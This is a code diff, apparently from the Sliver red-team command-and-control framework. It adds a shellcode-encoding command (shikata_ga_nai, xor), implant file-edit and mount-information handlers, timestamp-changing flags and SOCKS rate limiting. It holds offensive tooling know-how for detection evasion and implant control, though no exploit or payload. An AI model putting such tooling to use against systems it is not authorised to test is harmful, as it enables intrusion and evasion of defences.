||||
uploadData, err := new(encoders.Gzip).Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
|
||||
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
Data: uploadData,
|
||||
Encoder: "gzip",
|
||||
IsDirectory: false,
|
||||
Overwrite: true,
|
||||
})
|
||||
if err == nil && upload.Response != nil && upload.Response.Async {
|
||||
taskID := upload.Response.TaskID
|
||||
upload = &sliverpb.Upload{}
|
||||
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
|
||||
task, err := waitForBeaconTask(ctx, con, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state != "completed" {
|
||||
if state == "" {
|
||||
state = "unknown"
|
||||
}
|
||||
return fmt.Errorf("beacon task %s %s", task.ID, state)
|
||||
}
|
||||
if len(task.Response) == 0 {
|
||||
return fmt.Errorf("beacon task %s returned empty response", task.ID)
|
||||
}
|
||||
return proto.Unmarshal(task.Response, out)
|
||||
}
|
||||
|
||||
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
|
||||
ticker := time.NewTicker(beaconPollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state == "completed" || state == "failed" || state == "canceled" {
|
||||
return task, nil
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func confirm(title string) (bool, error) {
|
||||
answer := false
|
||||
if err := forms.Confirm(title, &answer); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
|
||||
func parseByteSize(input string) (int64, error) {
|
||||
value := strings.TrimSpace(input)
|
||||
if value == "" {
|
||||
return 0, fmt.Errorf("size is required")
|
||||
}
|
||||
value = strings.ReplaceAll(value, " ", "")
|
||||
value = strings.ToUpper(value)
|
||||
|
||||
idx := 0
|
||||
for idx < len(value) {
|
||||
c := value[idx]
|
||||
if (c >= '0' && c <= '9') || c == '.' {
|
||||
idx++
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
if idx == 0 {
|
||||
return 0, fmt.Errorf("invalid size %q", input)
|
||||
}
|
||||
|
||||
numStr := value[:idx]
|
||||
unitStr := strings.TrimSpace(value[idx:])
|
||||
if unitStr == "" {
|
||||
unitStr = "B"
|
||||
}
|
||||
|
||||
multiplier := int64(1)
|
||||
switch unitStr {
|
||||
case "B":
|
||||
multiplier = 1
|
||||
case "K", "KB", "KIB":
|
||||
multiplier = 1024
|
||||
case "M", "MB", "MIB":
|
||||
multiplier = 1024 * 1024
|
||||
case "G", "GB", "GIB":
|
||||
multiplier = 1024 * 1024 * 1024
|
||||
case "T", "TB", "TIB":
|
||||
multiplier = 1024 * 1024 * 1024 * 1024
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown size unit %q", unitStr)
|
||||
}
|
||||
|
||||
numVal, err := strconv.ParseFloat(numStr, 64)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("invalid size %q", input)
|
||||
}
|
||||
if numVal <= 0 {
|
||||
return 0, fmt.Errorf("size must be greater than zero")
|
||||
}
|
||||
|
||||
size := int64(numVal * float64(multiplier))
|
||||
if size <= 0 {
|
||||
return 0, fmt.Errorf("size is out of range")
|
||||
}
|
||||
return size, nil
|
||||
}
|
||||
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
f.Bool("unix", false, "interpret timestamps as Unix seconds")
|
||||
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
|
||||
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
|
||||
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
|
||||
})
|
||||
carapace.Gen(chtimesCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to file to change access timestamps"),
|
||||
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
|
||||
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
|
||||
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
|
||||
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
|
||||
)
|
||||
|
||||
getprivsCmd := &cobra.Command{
|
||||
|
||||
@@ -46,6 +46,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/taskmany"
|
||||
@@ -103,7 +104,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
crack.Commands,
|
||||
certificates.Commands,
|
||||
clean.Command,
|
||||
aka.ServerCommands,
|
||||
aka.ServerCommands,
|
||||
)
|
||||
|
||||
// C2 Network
|
||||
@@ -119,6 +120,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
// Payloads
|
||||
bind(consts.PayloadsHelpGroup,
|
||||
sgn.Commands,
|
||||
shellcodeencoders.Commands,
|
||||
generate.Commands,
|
||||
builders.Commands,
|
||||
)
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
package shellcodeencoders
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the shellcode-encoders command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
shellcodeEncodersCmd := &cobra.Command{
|
||||
Use: consts.ShellcodeEncodersStr,
|
||||
Short: "List supported shellcode encoders",
|
||||
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ShellcodeEncodersCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.PayloadsHelpGroup,
|
||||
}
|
||||
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
shellcodeEncodersEncodeCmd := &cobra.Command{
|
||||
Use: "encode <shellcode file>...",
|
||||
Short: "Encode shellcode using server encoders",
|
||||
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
|
||||
Args: cobra.MinimumNArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ShellcodeEncodersEncodeCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
|
||||
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
|
||||
f.IntP("iterations", "i", 1, "number of encoding iterations")
|
||||
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
|
||||
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
|
||||
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
|
||||
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
|
||||
})
|
||||
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
|
||||
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
|
||||
|
||||
return []*cobra.Command{shellcodeEncodersCmd}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
package shellcodeencoders
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
|
||||
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
encoderFlag, _ := cmd.Flags().GetString("encoder")
|
||||
if strings.TrimSpace(encoderFlag) == "" {
|
||||
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
|
||||
return
|
||||
}
|
||||
|
||||
encoderName := normalizeShellcodeEncoderName(encoderFlag)
|
||||
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
|
||||
if !ok {
|
||||
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
|
||||
return
|
||||
}
|
||||
|
||||
archFlag, _ := cmd.Flags().GetString("arch")
|
||||
arch := normalizeShellcodeArch(archFlag)
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
|
||||
iterations, _ := cmd.Flags().GetInt("iterations")
|
||||
if iterations <= 0 {
|
||||
iterations = 1
|
||||
}
|
||||
|
||||
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
|
||||
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
output, _ := cmd.Flags().GetString("output")
|
||||
outputInfo, err := outputInfoForArgs(output, len(args))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
hadError := false
|
||||
for _, path := range args {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s: %s\n", path, err)
|
||||
hadError = true
|
||||
continue
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: encoderEnum,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iterations),
|
||||
BadChars: badChars,
|
||||
Data: data,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
|
||||
hadError = true
|
||||
continue
|
||||
}
|
||||
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
|
||||
hadError = true
|
||||
continue
|
||||
}
|
||||
|
||||
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", path, err)
|
||||
hadError = true
|
||||
continue
|
||||
}
|
||||
|
||||
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
|
||||
hadError = true
|
||||
continue
|
||||
}
|
||||
|
||||
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
|
||||
}
|
||||
|
||||
if hadError {
|
||||
con.PrintWarnf("One or more files failed to encode\n")
|
||||
}
|
||||
}
|
||||
|
||||
func decodeHexBytes(label string, raw string) ([]byte, error) {
|
||||
trimmed := strings.TrimSpace(raw)
|
||||
trimmed = strings.TrimPrefix(trimmed, "0x")
|
||||
trimmed = strings.TrimPrefix(trimmed, "0X")
|
||||
trimmed = strings.ReplaceAll(trimmed, " ", "")
|
||||
if trimmed == "" {
|
||||
return nil, nil
|
||||
}
|
||||
data, err := hex.DecodeString(trimmed)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
|
||||
if output == "" {
|
||||
return nil, nil
|
||||
}
|
||||
info, err := os.Stat(output)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
if argCount > 1 {
|
||||
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
|
||||
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
|
||||
}
|
||||
info, err = os.Stat(output)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
|
||||
}
|
||||
return info, nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
if argCount > 1 && !info.IsDir() {
|
||||
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
|
||||
}
|
||||
return info, nil
|
||||
}
|
||||
|
||||
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
|
||||
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
|
||||
base := filepath.Base(inputPath)
|
||||
if output == "" {
|
||||
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
|
||||
}
|
||||
if multiple {
|
||||
if outputInfo == nil || !outputInfo.IsDir() {
|
||||
return "", fmt.Errorf("output must be a directory when encoding multiple files")
|
||||
}
|
||||
return filepath.Join(output, base+suffix), nil
|
||||
}
|
||||
if outputInfo != nil && outputInfo.IsDir() {
|
||||
return filepath.Join(output, base+suffix), nil
|
||||
}
|
||||
return output, nil
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package shellcodeencoders
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/rsteube/carapace"
|
||||
)
|
||||
|
||||
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
|
||||
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
"xor": clientpb.ShellcodeEncoder_XOR,
|
||||
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
normalized := normalizeShellcodeEncoderName(name)
|
||||
encoder, ok := shellcodeEncoderNameToEnum[normalized]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
|
||||
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
|
||||
}
|
||||
|
||||
nameArchs := map[string][]string{}
|
||||
for arch, archMap := range encoderMap.GetEncoders() {
|
||||
if archMap == nil {
|
||||
continue
|
||||
}
|
||||
for name := range archMap.GetEncoders() {
|
||||
nameArchs[name] = append(nameArchs[name], arch)
|
||||
}
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(nameArchs))
|
||||
for name := range nameArchs {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
|
||||
results := []string{}
|
||||
for _, name := range names {
|
||||
arches := nameArchs[name]
|
||||
sort.Strings(arches)
|
||||
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
|
||||
results = append(results, name, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
|
||||
})
|
||||
}
|
||||
|
||||
// ShellcodeEncoderArchCompleter returns available architectures.
|
||||
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
|
||||
}
|
||||
|
||||
arches := make([]string, 0, len(encoderMap.GetEncoders()))
|
||||
for arch := range encoderMap.GetEncoders() {
|
||||
arches = append(arches, arch)
|
||||
}
|
||||
sort.Strings(arches)
|
||||
return carapace.ActionValues(arches...).Tag("shellcode architectures")
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package shellcodeencoders
|
||||
|
||||
import (
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
|
||||
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
DisplayShellcodeEncoders(encoderMap, con)
|
||||
}
|
||||
|
||||
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
|
||||
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
|
||||
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
|
||||
con.PrintInfof("No shellcode encoders available\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Arch", Mode: table.Asc},
|
||||
{Name: "Encoder", Mode: table.Asc},
|
||||
})
|
||||
|
||||
arches := make([]string, 0, len(encoderMap.GetEncoders()))
|
||||
for arch := range encoderMap.GetEncoders() {
|
||||
arches = append(arches, arch)
|
||||
}
|
||||
sort.Strings(arches)
|
||||
|
||||
for _, arch := range arches {
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
continue
|
||||
}
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
for _, name := range names {
|
||||
desc := archMap.GetDescriptions()[name]
|
||||
tw.AppendRow(table.Row{arch, name, desc})
|
||||
}
|
||||
}
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/edit"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
@@ -48,6 +49,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/tasks"
|
||||
"github.com/bishopfox/sliver/client/command/wasm"
|
||||
"github.com/bishopfox/sliver/client/command/wireguard"
|
||||
"github.com/bishopfox/sliver/client/command/hexedit"
|
||||
client "github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/reeflective/console"
|
||||
@@ -79,7 +81,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
// use.Commands,
|
||||
tasks.Commands,
|
||||
pivots.Commands,
|
||||
aka.ImplantCommands,
|
||||
aka.ImplantCommands,
|
||||
)
|
||||
|
||||
// [ Info ]
|
||||
@@ -94,6 +96,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
|
||||
// [ Filesystem ]
|
||||
bind(consts.FilesystemHelpGroup,
|
||||
edit.Commands,
|
||||
hexedit.Commands,
|
||||
filesystem.Commands,
|
||||
)
|
||||
|
||||
|
||||
@@ -220,6 +220,8 @@ const (
|
||||
CdStr = "cd"
|
||||
PwdStr = "pwd"
|
||||
CatStr = "cat"
|
||||
EditStr = "edit"
|
||||
HexEditStr = "hex-edit"
|
||||
DownloadStr = "download"
|
||||
HeadStr = "head"
|
||||
TailStr = "tail"
|
||||
@@ -297,7 +299,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
ShellcodeEncodersStr = "shellcode-encoders"
|
||||
|
||||
Cursed = "cursed"
|
||||
CursedChrome = "chrome"
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/leaky"
|
||||
"golang.org/x/time/rate"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
|
||||
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
|
||||
|
||||
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
|
||||
// Client Rate Limiter: 10 operations per second, burst of 1
|
||||
limiter := rate.NewLimiter(rate.Limit(10), 1)
|
||||
|
||||
SocksConnPool.Store(frame.TunnelID, conn)
|
||||
|
||||
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
return
|
||||
}
|
||||
if n > 0 {
|
||||
if err := limiter.Wait(context.Background()); err != nil {
|
||||
log.Printf("[socks] rate limiter error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
frame.Data = buff[:n]
|
||||
frame.Sequence = ToImplantSequence
|
||||
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
|
||||
@@ -39,7 +39,7 @@
|
||||
- [Viber](/docs?name=Notifications#viber)
|
||||
- [Web Push](/docs?name=Notifications#web-push)
|
||||
- [WeChat](/docs?name=Notifications#wechat)
|
||||
- [WhatsApp](/docs?name=Notifications#whatsapp)
|
||||
- [WhatsApp](/docs?name=Notifications#whatsapp)
|
||||
- [Custom Templates](/docs?name=Notifications#custom-templates)
|
||||
- [Notes](/docs?name=Notifications#notes)
|
||||
|
||||
|
||||
+2
-2
@@ -146,8 +146,8 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / sgn
|
||||
if go test -tags=server,$TAGS ./server/sgn ; then
|
||||
# server / encoders / shellcode / sgn
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
|
||||
@@ -94,6 +94,7 @@ require (
|
||||
github.com/MicahParks/keyfunc v1.9.0 // indirect
|
||||
github.com/PagerDuty/go-pagerduty v1.8.0 // indirect
|
||||
github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 // indirect
|
||||
github.com/alecthomas/chroma/v2 v2.23.1 // indirect
|
||||
github.com/appleboy/go-fcm v1.2.6 // indirect
|
||||
github.com/atc0005/go-teams-notify/v2 v2.14.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5 // indirect
|
||||
|
||||
@@ -86,6 +86,8 @@ github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
|
||||
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
|
||||
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
|
||||
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
|
||||
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
|
||||
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
|
||||
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
|
||||
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
|
||||
|
||||
@@ -25,6 +25,7 @@ import (
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -56,6 +57,7 @@ var (
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
pb.MsgMountReq: mountHandler,
|
||||
|
||||
pb.MsgReconfigureReq: reconfigureHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
@@ -154,6 +156,27 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mountHandler(data []byte, resp RPCResponse) {
|
||||
mountReq := &pb.MountReq{}
|
||||
err := proto.Unmarshal(data, mountReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
mountData, err := mount.GetMountInformation()
|
||||
mountResp := &pb.Mount{
|
||||
Info: mountData,
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
mountResp.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(mountResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) string {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
|
||||
@@ -36,16 +36,29 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
inactivityCheckInterval = 4 * time.Second
|
||||
inactivityTimeout = 15 * time.Second
|
||||
)
|
||||
|
||||
